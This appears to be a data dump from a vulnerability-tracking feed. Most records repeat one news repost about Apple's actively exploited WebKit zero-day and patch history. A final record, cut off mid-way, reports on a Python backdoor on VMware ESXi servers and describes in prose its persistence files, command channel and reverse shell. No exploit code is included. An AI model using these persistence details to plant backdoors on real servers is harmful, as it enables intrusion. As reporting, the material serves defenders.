"creation_timestamp": "2026-09-06T00:01:00.937834+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-32894", "author": {"login": "automation"}}, {"uuid": "73b97057-15b9-4cb6-b8c7-ff01037d191e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.895178+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-42827", "author": {"login": "automation"}}, {"uuid": "62540ecf-46cb-48ca-9736-ec595d7d75ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.852224+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-32917", "author": {"login": "automation"}}, {"uuid": "5d185fc8-0ef5-471c-b7ce-486a9f547fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.804850+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-32893", "author": {"login": "automation"}}, {"uuid": "a8703f3c-14f4-4f95-aab8-7c23ed5ea025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.751236+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-22674", "author": {"login": "automation"}}, {"uuid": "b9135b17-8d8f-42c3-bd9c-099347d33b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.700204+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-22675", "author": {"login": "automation"}}, {"uuid": "132fc0d3-685f-4ef4-9e27-a755c03ebcd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.652608+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-42856", "author": {"login": "automation"}}, {"uuid": "f1100dd5-841f-41c7-9b10-1033f45bc552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.607299+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/80394", "content": "Black Hat Ethical Hacking\nApple security update fixes new iOS zero-day used to hack iPhones\n\nApple security update fixes new iOS zero-day used to hack iPhonesPost Views: 114 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes In security updates released today, Apple has fixed the tenth zero-day vulnerability since the start of the year, with this latest one actively used in attacks against iPhones.The vulnerability was disclosed in security bulletins released today for iOS/iPadOS 15.7.2, Safari 16.2, tvOS 16.2, and macOS Ventura 13.1, with Apple warning that the flaw \u201cmay have been actively exploited\u201d against previous versions.\n\nThe bug (CVE-2022-42856) is a type confusion issue in Apple\u2019s Webkit web browser browsing engine.\n\nThe flaw was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Analysis Group, allowing maliciously crafted web content to perform arbitrary code execution on a vulnerable device.\n\nArbitrary code execution could allow the malicious site to execute commands in the operating system, deploy additional malware or spyware, or perform other malicious actions.\n\nApple addressed the zero-day vulnerability with improved state handling for the following devices\u00a0iPhone 6s (all models), iPhone 7 (all models), iPhone SE (1st generation),\u00a0iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation).\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Patch your iPhones, iPads, and macOS\u00a0VenturaWhile Apple has disclosed that threat actors actively exploited the vulnerability, they have yet to provide any details on the attacks.\n\nHowever, as the vulnerability was discovered by Cl\u00e9ment Lecigne of Google\u2019s Threat Intelligence Team, we will likely learn more in a future blog post.\n\nThis delay in providing details is commonly done to allow users to patch their devices before other threat actors analyze the fixes and develop their own exploits.\n\nEven though this zero-day flaw was likely used in highly-targeted attacks, it is still suggested to install today\u2019s security updates as soon as possible.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: Pycrypt This is the tenth zero-day fixed by Apple since the start of the year:\n\n* In October, Apple fixed a zero-day\u00a0in the iOS Kernel (CVE-2022-42827).\n* In September, Apple addressed a flaw\u00a0in the iOS Kernel (CVE-2022-32917).\n* In August, it fixed two more zero-days\u00a0in the iOS Kernel (CVE-2022-32894) and WebKit (CVE-2022-32893)\n* In March, Apple patched two zero-day\u00a0in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).\n* In February, Apple released security updates to address another WebKit zero-day bug\u00a0exploited to target iPhones, iPads, and Macs.\n* In January, Apple patched another pair of zero-days\u00a0allowing code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594). \nTrending: Kali Linux 2022.4 \u2013 New Release adds 6 new tools, Kali NetHunter Update, Azure Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Images-for-the-News-po[...]", "vulnerability": "CVE-2022-22587", "author": {"login": "automation"}}, {"uuid": "7d6182df-3628-4669-8027-4010768a9aaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:01:00.553186+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/80218", "content": "Black Hat Ethical Hacking\nNew Python malware backdoors VMware ESXi servers for remote access\n\nNew Python malware backdoors VMware ESXi servers for remote accessPost Views: 78 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes A previously undocumented Python backdoor targeting VMware ESXi servers has been spotted, enabling hackers to execute commands remotely on a compromised system.VMware ESXi is a virtualization platform commonly used in the enterprise to host numerous servers on one device while using CPU and memory resources more effectively.\n\nThe new backdoor was discovered by Juniper Networks researchers, who found the backdoor on a VMware ESXi server. However, they could not determine how the server was compromised due to limited log retention.\n\nThey believe the server may have been compromised using the CVE-2019-5544 and CVE-2020-3992 vulnerabilities in ESXi\u2019s OpenSLP service.\n\nWhile the malware is technically capable of targeting Linux and Unix systems, too, Juniper\u2019s analysts found multiple indications it was designed for attacks against ESXi.\nSee Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course Backdoor operationThe new python backdoor adds seven lines inside \u201c/etc/rc.local.d/local.sh,\u201d one of the few ESXi files that survive between reboots and is executed at startup.\n\nUsually, that file is empty, apart from some advisory comments and an exit statement.\nhttps://www.bleepstatic.com/images/news/u/1220909/Code%20and%20Details/lines.png \n<figcaptionAdditional lines added on ESXi file (Juniper Networks) \nOne of those lines launches a Python script saved as \u201c/store/packages/vmtools.py,\u201d in a directory that stores VM disk images, logs, and more.\n\nThe script\u2019s name and location make Juniper Networks believe that the malware operators intend to target VMware ESXi servers specifically.\n\n\u201cWhile the Python script used in this attack is cross-platform and can be used with little or no modification on Linux or other UNIX-like systems, there are several indications that this attack was designed specifically to target ESXi,\u201d explains Juniper Networks\u2019 report.\n\n\u201cThe name of the file and its location, /store/packages/vmtools.py, was chosen to raise little suspicion on a virtualization host.\u201d\n\n\u201cThe file begins with a VMware copyright consistent with publicly available \u00a0 examples and is taken character-for-character from an existing Python file provided by VMware.\u201d\n\nThis script launches a web server that accepts password-protected POST requests from the remote threat actors. These requests can carry a base-64 encoded command payload or launch a reverse shell on the host.\n\nThe reverse shell makes the compromised server initiate the connection with the threat actor, a technique that often helps bypass firewall restrictions or works around limited network connectivity.\n\nOne of the threat actors\u2019 actions observed by Juniper\u2019s analysts was to change the ESXi reverse HTTP proxy configuration to allow remote access to communicate with the planted webserver.\n\nBecause the file used for setting this new configuration, \u201c/etc/vmware/rhttpproxy/endpoints.conf,\u201d is also backed up and restored after reboot, any modifications on it are persistent.\nTrending: Exploit XSS Injections in a one-line powerful Technique Trending: Offensive Security Tool: 